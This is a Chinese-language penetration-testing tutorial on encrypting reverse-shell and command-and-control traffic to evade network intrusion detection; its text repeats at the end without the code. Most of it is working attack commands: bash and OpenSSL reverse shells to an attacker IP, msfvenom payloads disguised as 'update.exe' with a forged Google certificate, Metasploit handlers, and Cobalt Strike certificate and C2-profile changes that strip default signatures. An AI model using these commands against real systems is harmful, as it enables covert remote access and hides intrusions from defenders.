内网渗透测试之流量加密
字数 946 2025-08-07 08:22:33

内网渗透测试之流量加密技术详解

0x00 前言

在内网渗透测试的后渗透阶段,横向移动时通常需要反弹shell。如果使用明文传输,内网的IDS/IPS等安全设备会检测到恶意行为,防守方可通过流量分析溯源攻击行为。因此,对流量进行加密是规避检测的关键技术。

0x01 未加密流量的风险

典型反弹shell命令

# 攻击机监听
nc -lvp 8765

# 目标机执行
bash -i >& /dev/tcp/192.168.211.129/8765 0>&1

风险分析

  • Wireshark抓包可直接查看命令与返回内容
  • 流量设备可轻易识别攻击行为
  • 所有通信均为明文传输

0x02 OpenSSL加密基础

OpenSSL是一个开源的安全通信库,提供以下特性:

  • 防止通信被窃听
  • 服务器身份认证
  • 可选客户端认证
  • 独立于应用层协议(HTTP/FTP/TELNET等)
  • 在应用层通信前完成加密算法和密钥协商

0x03 Netcat流量加密方案

1. 生成自签名证书

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

参数说明:

  • -x509:生成自签名证书
  • -newkey rsa:4096:生成4096位RSA密钥
  • -days 365:证书有效期1年
  • -nodes:不加密私钥

2. 攻击机启动SSL服务

openssl s_server -quiet -key key.pem -cert cert.pem -port 8766

3. 目标机反弹加密shell

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.211.129:8766 > /tmp/s; rm /tmp/s

效果:Wireshark捕获的流量显示为加密乱码

0x04 Metasploit流量加密方案

1. 创建伪造证书

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt

2. 生成加密Payload

Windows可执行文件:

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.211.129 LPORT=4444 \
PayloadUUIDTracking=true PayloadUUIDName=Whoamishell \
HandlerSSLCert=/root/桌面/www.google.com.pem \
StagerVerifySSLCert=true -f exe -o /root/桌面/update.exe

PowerShell脚本:

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.211.129 LPORT=4444 \
PayloadUUIDTracking=true HandlerSSLCert=/root/桌面/www.google.com.pem \
StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o /root/桌面/shell.bat

3. 启动监听器

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.211.129
set LPORT 4444
set HandlerSSLCert /root/桌面/www.google.com.pem
set StagerVerifySSLCert true
run

4. 自动伪造证书模块

use auxiliary/gather/impersonate_ssl
set RHOST www.baidu.com
run

生成的PEM证书位于/root/.msf4/loot/

5. Python加密方案

生成Payload:

msfvenom -p cmd/unix/reverse_python_ssl lhost=192.168.211.129 lport=4444

监听设置:

use exploit/multi/handler
set payload cmd/unix/reverse_python_ssl
set lhost 192.168.211.129
run

0x05 Cobalt Strike流量加密

1. 去除默认证书特征

keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 \
-genkey -keyalg RSA -alias baidu.com \
-dname "CN=US, OU=baidu.com, O=Sofatest, L=Beijing, ST=Cyberspace, C=CN"

2. 修改C2 Profile

关键修改部分:

https-certificate {
    set keystore "../cobaltstrike.store";
    set password "123456";
    # 其他字段与证书信息保持一致
}

3. 验证Profile

./c2lint ./malleable-c2-master/jquery-c2.4.3.profile

4. 启动Teamserver

./teamserver 172.26.210.212 123456 ./malleable-c2-master/jquery-c2.4.3.profile

注意事项

  • 修改默认端口:-Dcobaltstrike.server_port=49949
  • 使用HTTPS监听器
  • 生成的PowerShell脚本在目标机执行后,流量将加密传输

总结

流量加密技术要点:

  1. 避免使用默认配置和证书
  2. 所有反弹shell通信必须加密
  3. 定期更换证书和密钥
  4. 结合其他免杀技术增强隐蔽性
  5. 针对不同场景选择合适加密方案

通过以上方法,可以有效规避内网安全设备的流量检测,提高渗透测试的成功率。

内网渗透测试之流量加密技术详解 0x00 前言 在内网渗透测试的后渗透阶段,横向移动时通常需要反弹shell。如果使用明文传输,内网的IDS/IPS等安全设备会检测到恶意行为,防守方可通过流量分析溯源攻击行为。因此,对流量进行加密是规避检测的关键技术。 0x01 未加密流量的风险 典型反弹shell命令 : 风险分析 : Wireshark抓包可直接查看命令与返回内容 流量设备可轻易识别攻击行为 所有通信均为明文传输 0x02 OpenSSL加密基础 OpenSSL是一个开源的安全通信库,提供以下特性: 防止通信被窃听 服务器身份认证 可选客户端认证 独立于应用层协议(HTTP/FTP/TELNET等) 在应用层通信前完成加密算法和密钥协商 0x03 Netcat流量加密方案 1. 生成自签名证书 参数说明: -x509 :生成自签名证书 -newkey rsa:4096 :生成4096位RSA密钥 -days 365 :证书有效期1年 -nodes :不加密私钥 2. 攻击机启动SSL服务 3. 目标机反弹加密shell 效果 :Wireshark捕获的流量显示为加密乱码 0x04 Metasploit流量加密方案 1. 创建伪造证书 2. 生成加密Payload Windows可执行文件: PowerShell脚本: 3. 启动监听器 4. 自动伪造证书模块 生成的PEM证书位于 /root/.msf4/loot/ 5. Python加密方案 生成Payload: 监听设置: 0x05 Cobalt Strike流量加密 1. 去除默认证书特征 2. 修改C2 Profile 关键修改部分: 3. 验证Profile 4. 启动Teamserver 注意事项 : 修改默认端口: -Dcobaltstrike.server_port=49949 使用HTTPS监听器 生成的PowerShell脚本在目标机执行后,流量将加密传输 总结 流量加密技术要点: 避免使用默认配置和证书 所有反弹shell通信必须加密 定期更换证书和密钥 结合其他免杀技术增强隐蔽性 针对不同场景选择合适加密方案 通过以上方法,可以有效规避内网安全设备的流量检测,提高渗透测试的成功率。